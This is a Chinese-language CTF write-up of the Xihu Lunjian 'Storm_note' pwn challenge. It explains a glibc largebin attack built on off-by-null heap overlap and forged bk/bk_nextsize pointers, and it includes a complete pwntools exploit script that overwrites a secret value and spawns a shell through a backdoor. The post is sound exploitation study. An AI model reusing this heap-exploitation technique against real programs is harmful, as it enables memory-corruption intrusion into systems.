西湖论剑 预选赛 pwn3 看 Largebin

参考链接

https://xz.aliyun.com/t/4791#toc-13

不得不说 这个博客写的很详细了。。。

建议去看 上面的链接  上面的链接写的 很详细 

这个题 让我认识到了 Large bin  这个玩意真的很,,,,难

感觉比上面那两个难很多

一般来说 题目很少涉及 Large bin    涉及的题目一般都会禁止 fastbin

  if ( !mallopt(1, 0) )
    exit(-1);

这两行就是禁止了  fastbin  然后  mmap 下面这里是 读取随机数

这个程序有个后门

让我们输入的字符 等于 那个随机数才行    想绕过也很简单 直接把随机数改成我们想要的就行  然后程序还有一个off by null

 然后看一下这个题目的保护

保护全开 QAQ 这里最让人头疼的应该就是PIE了,

这里 用到的做法就是堆块重叠 

先看一下  Large bin  的结构比正常的多了两个指针

  struct malloc_chunk* fd_nextsize; 
  struct malloc_chunk* bk_nextsize;

并且这两个指针 只有 不同 大小的 largebin 的第一个 才会有 指向那个不同的largebin   如果相同的话 会指向自己

然后我们这里直接粘贴 网上流传的 exp吧

根据这个exp 来讲,,

from pwn import *
p = process('./Storm_note')

def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('?')
  p.sendline(str(size))

def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('?')
  p.sendline(str(idx))
  p.recvuntil('Content')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('?')
  p.sendline(str(idx))


add(0x18)
add(0x508)
add(0x18)

add(0x18)
add(0x508)
add(0x18)
add(0x18)

edit(1,'a'*0x4f0+p64(0x500))
edit(4,'a'*0x4f0+p64(0x500))


dele(1)
edit(0,'a'*0x18)

add(0x18)
add(0x4d8)

dele(1)
dele(2)


add(0x30)
edit(7,'ffff')
add(0x4e0)

dele(4)
edit(3,'a'*0x18)
add(0x18)
add(0x4d8)
dele(4)
dele(5)
add(0x40)
edit(8,'ffff')


dele(2)
add(0x4e8)      # put chunk5 to largebin
dele(2)


content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit(8,payload2)

add(0x40)

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)

p.sendlineafter('Choice: ','666')

p.send(p64(0)*6)

p.interactive()

这里 堆块分了 三块

add(0x18)
add(0x508)
add(0x18)

add(0x18)
add(0x508)
add(0x18)


add(0x18)

 

第一个  和第二个都是为了  操作 让堆块溢出的

第三个是为了 防止 于top 进行合并

然后伪造一下  下个chunk的 prev_size 然后我们继续看一下

edit(1,'a'*0x4f0+p64(0x500))

edit(4,'a'*0x4f0+p64(0x500))

继续往下看

利用 off by null  来修改 511 为500

dele(1)
edit(0,'a'*0x18)

 这里的上面和下面的做法一模一样

然后继续

add(0x18)
add(0x4d8)

因为没有了  fastbin  所以直接 在 unsorted bin 找 合适的堆块

这里的两个堆块刚好把我们释放的堆块填满然后我们看一下堆内情况

这里可以看出两点  第一就是free掉后的  chunk1  然后上面我们发现 我们伪造的

  prev_size = 0,
  size = 1,

已经成功   。。 但是 note 里面记录的却是 还是原来的    prev_size=500  size=20  (注意 此时不是21)

add(0x18)
add(0x4d8)

的时候 就已经把size =0x21 改成了 size=20(这里有点疑惑 不知道为啥 估计是因为)并且把 伪造的size 改成了1

这里最后一位的1 就是 size的 PREV_INUSE 就是0 代表了 前一块是 free 状态的    加上 prev_size =510  所以正好可以 引发 unlink 然后导致  我们申请的第七个堆块  进行了覆盖 我们就可以通过 第七个堆块操控里面的值了

要说的一点就是  伪造第一个和第二个还是有区别的

dele(4)
edit(3,'a'*0x18)        
add(0x18)
add(0x4d8)
dele(4)
dele(5)
add(0x40)                 

第一个是  add(0x30)  add(0x4e0)

add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针即可

add(0x40)的原因

  • 前一个 largebin 只需要伪造 bk 指针,而后一个需要伪造 bk_nextsize,所以比前一个块大 0x10
  • 为了让 largebin 的 bk_nextsize 有效,前后两个的 largebin 的 size 不能相同

然后进行下一步

(下面的一段话 借鉴于 上面的链接)

dele(2)
add(0x4e8)   
dele(2)

 这里是为了循环 unsorted bin  让chunk4  进入 Large bin 里面

因为 largebin 中此时就只有一个 chunk5 ,所以这时的 fd_nextsize 和 bk_nextsize 会暂时指向自己。

这里和unsorted bin  的 bk  fd 都指向自己差不多

 

再次 free 掉 chunk2。这次就又将 chunk2 放回 unsorted bin 中。

然后接下来就是伪造指针

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit(8,payload2)

接下来需要 alloc 一个 0x40 的 chunk,当 malloc 这个 chunk 时,首先会遍历 unsorted bin,从第一个 unsorted bin 的 bk 指针开始遍历(chunk2 的 bk 指针)

在 chunk2 中,这里我们伪造的是 bk=0xabcd0100-0x20=0xabcd00e0,发现 bk 指向的 chunk 的 size 为 0 不合适,这时和前面的步骤一样,将 chunk2 从 unsorted bin 中脱链放进 largebin 中

这个过程会完成:

fwd->bk_nextsize->fd_nextsize=victim
fwd->bk=victim

在这里等价于:
chunk5->bk_nextsize->fd_nextsize = chunk2
chunk5->bk = chunk2

堆排布如下

chunk2:
0x55e2396f2060: 0x0000000000000000  0x00000000000004f1
0x55e2396f2070: 0x0000000000000000  0x00000000abcd00e0  <-bk
0x55e2396f2080: 0x0000000000000000  0x0000000000000000
0x55e2396f2090: 0x0000000000000000  0x0000000000000000

chunk5:
0x55e2396f25c0: 0x0000000000000000  0x00000000000004e1
0x55e2396f25d0: 0x0000000000000000  0x00000000abcd00e8  <-bk
0x55e2396f25e0: 0x0000000000000000  0x00000000abcd00c3
0x55e2396f25f0: 0x0000000000000000  0x0000000000000000

在 add(0x40) 之后,情况应该是:

1. 0xabcd00c3->fd_nextsize = 0x55e2396f2060 即 
*0xabcd00e3 = 0x55e2396f2060 

2. 0x55e2396f25c0->fd = 0x55e2396f2060 即 
*0x55e2396f25d8 = 0x55e2396f2060

 

所以这里在完成 unlink 操作后,这个 chunk 最后我们会分配到 0xabcd00f0 地址。

  • largebin 中的 bk_nextsize 需要伪造成 p64(fake_chunk-0x18-5) 的原因类似于 fastbin 的检查机制。alloc 时的堆块会检查这个位置的 size 字段是否和当前的 malloc 的 size 满足对齐规则。这里伪造的 size 为 0x56,因为受到 PIE 的影响这个值会有偏差,所以这里 alloc 失败的话可以多试几次。

 

此时的 chunk2 从 0xabcd00f0 开始填充,后面的 0x40 的大小区域都可控,所以这里只需要预先填入准备好的值,后面输入 666 就可以进入到后门函数,再次填入这个值即可通过判断,进而 getshell。

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)

p.sendlineafter('Choice: ','666')

p.send(p64(0)*6)

总结

以前没有接触过这类的题型 这次根据详细的例题解题方法  认识到了   Largebin

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值